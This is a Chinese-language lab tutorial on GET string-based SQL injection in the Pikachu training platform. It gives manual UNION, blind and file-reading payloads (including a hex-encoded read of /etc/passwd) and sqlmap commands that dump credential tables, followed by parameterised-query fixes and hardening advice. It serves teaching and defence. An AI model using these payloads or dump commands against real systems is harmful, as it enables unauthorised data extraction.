全面攻防实战:Pikachu平台字符型SQL注入(GET)与自动化利用
SQL注入作为Web应用安全的头号威胁,其危害性和普遍性不容忽视。本文将以Pikachu漏洞练习平台(web.guixinan.cn)为实验环境,深入剖析字符型SQL注入(GET)的漏洞原理、手工注入技巧、Sqlmap自动化利用,并提供完整的防御方案。通过理论与实践相结合的方式,帮助安全研究人员和开发人员全面理解此类漏洞的本质。
一、漏洞环境与原理深度解析
1. 漏洞环境概述
Pikachu平台的"字符型注入(get)"模块模拟了一个典型的用户信息查询功能:
- 请求方式:GET
- 参数名称:name
- 功能描述:根据用户名查询用户ID和邮箱
- 请求示例:
http://web.guixinan.cn/pikachu/vul/sqli/sqli_str.php?name=test&submit=查询
2. 漏洞源代码分析
$name = $_GET['name'];
// 这里的变量是字符型,需要考虑闭合
$query = "select id,email from member where username='$name'";
$result = execute($link, $query);
关键漏洞点分析:
- 未过滤的用户输入:直接使用
$_GET['name']
而不做任何验证或转义 - 字符串拼接方式:采用最危险的SQL语句拼接方式
- 错误信息暴露:平台配置为显示详细错误信息(实际生产环境应避免)
3. 漏洞利用原理
当攻击者输入admin'--
时,实际执行的SQL变为:
select id,email from member where username='admin'-- '
注释符--
使后续条件失效,实现未授权查询
二、手工注入实战全流程
1. 注入点检测与确认
基础检测:
?name=test' # 检查是否报错
?name=test' AND 1=1--+ # 正常返回
?name=test' AND 1=2--+ # 无结果返回
响应分析技巧:
- 注意页面元素变化(如结果表格行数)
- 查看HTTP响应码(200/500)
- 观察执行时间差异(用于盲注判断)
2. 完整注入流程演示
步骤1:确定字段数
?name=test' ORDER BY 2--+ # 成功
?name=test' ORDER BY 3--+ # 失败
→ 确认2个字段(id,email)
步骤2:联合查询定位回显位
?name=test' UNION SELECT 1,2--+
观察页面何处显示数字1和2
步骤3:数据库信息收集
?name=test' UNION SELECT version(),database()--+
返回示例:
MySQL 5.7.28 | pikachu
步骤4:表结构枚举
?name=test' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--+
返回结果:
httpinfo,member,message,users,xssblind
步骤5:敏感数据提取
?name=test' UNION SELECT username,concat(pw,'|',email) FROM member--+
返回格式:
admin | 21232f297a57a5a743894a0e4a801fc3|admin@pikachu.com
3. 高级注入技巧
十六进制编码绕过:
?name=test' UNION SELECT 1,load_file(0x2f6574632f706173737764)--+
(相当于读取/etc/passwd)
布尔盲注技术:
?name=test' AND SUBSTRING((SELECT password FROM member LIMIT 1),1,1)='a'--+
时间盲注示例:
?name=test' AND IF(ASCII(SUBSTRING(database(),1,1))>100,sleep(3),0)--+
三、Sqlmap自动化注入实战
1. 基础检测命令
sqlmap -u "http://web.guixinan.cn/pikachu/vul/sqli/sqli_str.php?name=test&submit=查询" -p name -dbs --batch
2. 获取当前数据库
sqlmap -u "URL" --current-db --batch
3. 表结构枚举
sqlmap -u "URL" -D pikachu --tables --batch
4. 数据提取技巧
sqlmap -u "URL" -D pikachu -T member --dump --batch
5. 高级参数应用
指定注入技术:
sqlmap -u "URL" --technique=B
自定义Tamper脚本:
sqlmap -u "URL" --tamper=space2comment
从Burp日志导入:
sqlmap -l burp.log --batch
6. Sqlmap结果解读
典型输出示例:
[12:34:56] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.38, PHP 7.3.4
back-end DBMS: MySQL >= 5.7
四、漏洞修复方案
1. 参数化查询实现
PDO最佳实践:
$stmt = $pdo->prepare("SELECT id,email FROM member WHERE username=?");
$stmt->execute([$_GET['name']]);
MySQLi预处理:
$stmt = $mysqli->prepare("SELECT id,email FROM member WHERE username=?");
$stmt->bind_param("s", $_GET['name']);
$stmt->execute();
2. 输入验证策略
白名单验证:
$allowed = ['admin','test','guest'];
if(!in_array($_GET['name'], $allowed)) {
die("Invalid username");
}
正则表达式过滤:
if(!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $_GET['name'])) {
die("Invalid username format");
}
3. 安全配置加固
数据库权限控制:
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'ComplexP@ssw0rd!';
GRANT SELECT ON pikachu.member TO 'webapp'@'localhost';
PHP安全配置:
display_errors = Off
log_errors = On
mysql.trace_mode = Off
4. 防御纵深体系
- 应用层:参数化查询+输入验证
- 网络层:WAF规则(如ModSecurity)
- 系统层:定期漏洞扫描
- 监控层:SQL异常行为监测
五、修复前后代码对比
漏洞代码(修复前)
$name = $_GET['name'];
$query = "select id,email from member where username='$name'";
$result = execute($link, $query);
安全代码(修复后)
// 初始化PDO连接
$pdo = new PDO('mysql:host=localhost;dbname=pikachu;charset=utf8',
'limited_user',
'ComplexP@ssw0rd!');
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// 输入验证
if(!preg_match('/^[\w]{3,20}$/', $_GET['name'])) {
http_response_code(400);
exit('Invalid username');
}
// 参数化查询
$stmt = $pdo->prepare("SELECT id,email FROM member WHERE username=?");
$stmt->execute([$_GET['name']]);
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
六、总结与扩展思考
通过本文的深入分析,我们可以得出以下关键结论:
- 字符型注入的核心在于突破字符串引号的限制
- 手工注入的价值在于深入理解漏洞原理
- Sqlmap的强大在于自动化探测和利用
- 防御的本质是将数据与代码分离
进阶思考方向:
- 如何在不使用预处理语句的情况下安全拼接SQL?
- 宽字节注入等特殊场景下的防御策略
- ORM框架中的SQL注入风险(如ActiveRecord的误用)
- NoSQL注入与传统SQL注入的异同防御
安全是一个持续的过程,希望本文能帮助您在Web应用安全领域建立更系统的认知。记住:理解攻击是为了更好的防御,所有安全研究都应在合法授权环境下进行。